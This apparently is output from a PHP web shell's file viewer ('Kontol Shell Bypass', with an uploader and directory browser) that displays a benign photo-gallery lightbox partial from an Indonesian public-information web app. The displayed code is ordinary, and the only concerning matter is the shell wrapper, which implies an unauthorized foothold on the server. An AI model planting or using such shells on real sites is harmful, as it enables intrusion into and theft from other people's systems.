ikan Uploader :
Directory : /var/www/new-ppid-app/partials/
Upload File : |
| Current File : /var/www/new-ppid-app/partials/galeri-lightbox.php |
<?php
/**
* Partial: popup slideshow foto galeri kegiatan.
* Sertakan sekali per halaman. Tombol pemicu = elemen ber-class `galeri-open`
* dengan atribut data-fotos (JSON array URL) dan data-judul.
*/
?>
<div id="galeriLightbox" class="fixed inset-0 z-[70] hidden items-center justify-center bg-black/90 p-4">
<button type="button" id="glbClose" class="absolute top-4 right-4 w-11 h-11 rounded-full bg-white/10 hover:bg-white/20 text-white flex items-center justify-center text-xl" aria-label="Tutup"><i class="fas fa-xmark"></i></button>
<button type="button" id="glbPrev" class="absolute left-3 sm:left-6 w-11 h-11 rounded-full bg-white/10 hover:bg-white/20 text-white flex items-center justify-center text-xl" aria-label="Sebelumnya"><i class="fas fa-chevron-left"></i></button>
<button type="button" id="glbNext" class="absolute right-3 sm:right-6 w-11 h-11 rounded-full bg-white/10 hover:bg-white/20 text-white flex items-center justify-center text-xl" aria-label="Berikutnya"><i class="fas fa-chevron-right"></i></button>
<figure class="flex flex-col items-center gap-3 max-w-full">
<img id="glbImg" src="" alt="" class="max-w-full max-h-[80vh] object-contain rounded-lg select-none">
<figcaption id="glbCap" class="text-white/85 text-sm text-center max-w-2xl px-4"></figcaption>
</figure>
<span id="glbCounter" class="absolute bottom-4 inset-x-0 text-center text-white/70 text-sm"></span>
</div>
<script>
(function () {
var lb = document.getElementById('galeriLightbox');
if (!lb) return;
var img = document.getElementById('glbImg');
var cap = document.getElementById('glbCap');
var counter = document.getElementById('glbCounter');
var prev = document.getElementById('glbPrev');
var next = document.getElementById('glbNext');
var fotos = [], idx = 0;
function show(n) {
idx = (n + fotos.length) % fotos.length;
img.src = fotos[idx];
counter.textContent = fotos.length > 1 ? (idx + 1) + ' / ' + fotos.length : '';
}
function open(list, judul) {
fotos = Array.isArray(list) ? list : [];
if (!fotos.length) return;
cap.textContent = judul || '';
var multi = fotos.length > 1;
prev.style.display = multi ? '' : 'none';
next.style.display = multi ? '' : 'none';
show(0);
lb.classList.remove('hidden'); lb.classList.add('flex');
document.body.style.overflow = 'hidden';
}
function close() {
lb.classList.add('hidden'); lb.classList.remove('flex');
document.body.style.overflow = ''; img.src = '';
}
document.querySelectorAll('.galeri-open').forEach(function (b) {
b.addEventListener('click', function () {
var data = [];
try { data = JSON.parse(b.getAttribute('data-fotos') || '[]'); } catch (e) {}
open(data, b.getAttribute('data-judul'));
});
});
document.getElementById('glbClose').addEventListener('click', close);
prev.addEventListener('click', function () { show(idx - 1); });
next.addEventListener('click', function () { show(idx + 1); });
lb.addEventListener('click', function (e) { if (e.target === lb) close(); });
document.addEventListener('keydown', function (e) {
if (lb.classList.contains('hidden')) return;
if (e.key === 'Escape') close();
else if (e.key === 'ArrowLeft') show(idx - 1);
else if (e.key === 'ArrowRight') show(idx + 1);
});
})();
</script>
Kontol Shell Bypass